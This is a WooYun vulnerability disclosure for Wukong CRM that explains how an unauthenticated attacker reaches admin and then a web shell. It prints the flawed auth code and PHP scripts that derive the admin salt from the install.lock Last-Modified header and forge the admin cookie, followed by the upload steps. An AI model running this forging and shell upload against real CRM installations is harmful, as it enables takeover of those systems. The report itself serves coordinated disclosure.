当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0193223

漏洞标题:悟空CRM从无任何权限到Getshell漏洞分析

相关厂商:郑州卡卡罗特软件科技有限公司

漏洞作者: phith0n

提交时间:2016-04-06 18:47

修复时间:2016-07-07 16:30

公开时间:2016-07-07 16:30

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-06: 细节已通知厂商并且等待厂商处理中
2016-04-08: 厂商已经确认,细节仅向厂商公开
2016-04-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-02: 细节向核心白帽子及相关领域专家公开
2016-06-12: 细节向普通白帽子公开
2016-06-22: 细节向实习白帽子公开
2016-07-07: 细节向公众公开

简要描述:

这是一个无需账户的getshell。
此漏洞专为打某人脸,哈哈~ 附带一个判断某某的小技巧,较实用。

详细说明:

悟空CRM大部分功能是需要登录,登录以后的漏洞比较鸡肋,那么我发一个越权,从无任意权限到拿下管理员权限,到getshell。
看到检查权限的类 App/Lib/Behavior/AuthenticateBehavior.class.php:

class AuthenticateBehavior extends Behavior {
protected $options = array();

public function run(&$params) {
$m = MODULE_NAME;
$a = ACTION_NAME;
$allow = $params['allow'];
$permission = $params['permission'];

if(!session('?user_id') && intval(cookie('user_id')) != 0 && trim(cookie('name')) != '' && trim(cookie('salt_code')) != ''){
$user = M('user')->where(array('user_id' => intval(cookie('user_id'))))->find();
if (md5(md5($user['user_id'] . $user['name']).$user['salt']) == trim(cookie('salt_code'))) {
$d_role = D('RoleView');
$role = $d_role->where('user.user_id = %d', $user['user_id'])->find();
if($user['category_id'] == 1){
session('admin', 1);
}
session('role_id', $role['role_id']);
session('position_id', $role['position_id']);
session('role_name', $role['role_name']);
session('department_id', $role['department_id']);
session('name', $user['name']);
session('user_id', $user['user_id']);
}
}

if (session('?admin')) {
return true;
}
if (in_array($a, $permission)) {
return true;
} elseif (session('?position_id') && session('?role_id')) {
...


看到这里:
if (md5(md5($user['user_id'] . $user['name']).$user['salt']) == trim(cookie('salt_code')))
这里,如果cookie salt_code正确的话,将设置session,可以导致权限的绕过。那么这个if语句,我们看看有哪些值是不知道的。以管理员为例:
$user['user_id'] : 已知,为1
$user['name'] : 已知,为admin
$user['salt'] : 未知
cookie('salt_code') :已知,为我传入的cookie
那么,实际上这个if语句只有一个参数是未知的,那就是salt。我们看看salt是怎么生成的:
/App/Lib/Action/InstallAction.class.php 216行:

$salt = substr(md5(time()),0,4);
$password = md5(md5(trim($password)) . $salt);
$db->query('insert into ' . C('DB_PREFIX') . 'user (role_id, category_id, status, name, password, salt, reg_ip, reg_time) values (1, 1, 1, "'.$name.'", "'.$password.'", "'.$salt.'", "'.get_client_ip().'", '.time().')');
touch(CONF_PATH . "install.lock");


可见:
$salt = substr(md5(time()),0,4);
salt只和time()有关的,也就是说,只要知道了安装的时候的时间,就可以知道管理员的salt。
那么,如何知道安装的时间呢?
1.跑,猜测。这个方法也不是完全不可行,但明显不优雅。
2.通过Last-Modified得知
这里2就是我要说的小技巧。
在HTTP协议里,当我们请求一些静态文件的时候,服务器默认会将这个文件的修改时间作为Last-Modified这个头的值返回。
那么我们看到以上代码的最后一行
touch(CONF_PATH . "install.lock");
这里创建了一个install.lock文件,我们请求一下这个文件看看:

QQ20160406-0@2x.png


这里果然返回了一个时间,我写了个小脚本,来计算管理员的salt:

<?php
date_default_timezone_set('UTC');
$time = strtotime('Tue, 05 Apr 2016 03:40:28 GMT');
$salt = substr(md5($time),0,4);
echo $salt;


将Last-Modified的值填入strtotime函数,即可计算当时的时间戳,进而计算salt:

QQ20160406-1@2x.png


看看是否计算正确:

QQ20160406-2@2x.png


妥妥正确。
我再通过salt生成一个cookie:

<?php
date_default_timezone_set('UTC');
$time = strtotime('Tue, 05 Apr 2016 03:40:28 GMT');
$salt = substr(md5($time),0,4);
echo $salt;
echo "\n";
$user_id = 1;
$name = 'admin';
$cookie = md5(md5($user_id . $name).$salt);
echo "user_id=1; name=admin; salt_code={$cookie};";
echo "\n";


QQ20160406-3@2x.png


将这个cookie填入HTTP数据包:

QQ20160406-4@2x.png


即可作为管理员访问悟空crm。然后,修改上传允许的后缀,加个php即可:

QQ20160406-5@2x.png


来到合同处( **.**.**.**/wukongcrm/index.php?m=contract&a=add ),在编辑器里上传shell:

QQ20160406-6@2x.png


QQ20160406-7@2x.png


拿下!

QQ20160406-8@2x.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2016-04-08 16:22

厂商回复:

谢谢关注,我们会尽快修复

最新状态:

暂无